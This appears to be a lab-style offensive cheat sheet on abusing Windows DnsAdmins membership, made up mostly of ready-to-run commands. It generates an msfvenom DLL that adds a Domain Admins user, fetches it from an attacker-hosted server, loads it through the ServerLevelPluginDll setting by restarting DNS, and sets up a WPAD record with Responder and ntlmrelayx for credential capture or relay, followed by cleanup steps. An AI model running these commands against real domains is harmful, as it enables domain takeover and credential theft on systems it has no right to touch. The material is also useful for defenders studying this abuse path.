DnsAdmins is dangerous because members can configure the Windows DNS server. The classic abuse sets ServerLevelPluginDll, restarts the DNS service, and causes the DNS service to load attacker-controlled DLL code. The quieter operational path is often DNS manipulation, especially WPAD, but the DLL path explains why this group is treated as privileged.
Check membership
Get-ADGroupMember "DnsAdmins"
net group "DnsAdmins" /domain
whoami /groups
Generate a lab DLL
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
python3 -m http.server 7777
Transfer DLL
wget "http://10.10.10.100:7777/adduser.dll" -outfile "C:\Windows\Temp\adduser.dll"
Configure DNS plugin DLL
dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\adduser.dll
reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
Check whether the current user can restart DNS
sc.exe sdshow DNS
sc.exe query dns
Trigger load
sc.exe stop dns
sc.exe start dns
Confirm result
net group "Domain Admins" /domain
klist purge
runas /netonly /user:OOTW\netadm powershell
WPAD path with DnsAdmins
Get-DnsServerGlobalQueryBlockList -ComputerName dc01.ootw.local
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.ootw.local
Add-DnsServerResourceRecordA -Name wpad -ZoneName ootw.local -ComputerName dc01.ootw.local -IPv4Address 10.10.10.100
Capture or relay
sudo responder -I eth0 -w
ntlmrelayx.py -tf targets.txt -smb2support
Cleanup plugin DLL configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f
sc.exe stop dns
sc.exe start dns
sc.exe query dns
Cleanup WPAD
Remove-DnsServerResourceRecord -Name wpad -ZoneName ootw.local -ComputerName dc01.ootw.local -RRType A -Force
Set-DnsServerGlobalQueryBlockList -Enable $true -ComputerName dc01.ootw.local
Set-DnsServerGlobalQueryBlockList -List wpad,isatap -ComputerName dc01.ootw.local
Notes
The DLL path requires a DNS service restart.
Restarting DNS on a domain controller is noisy and can briefly break name resolution.
If the user cannot restart DNS, the registry value may sit until an administrator or maintenance window restarts the service.
DnsAdmins is not a harmless operations group. Treat it as a privileged group.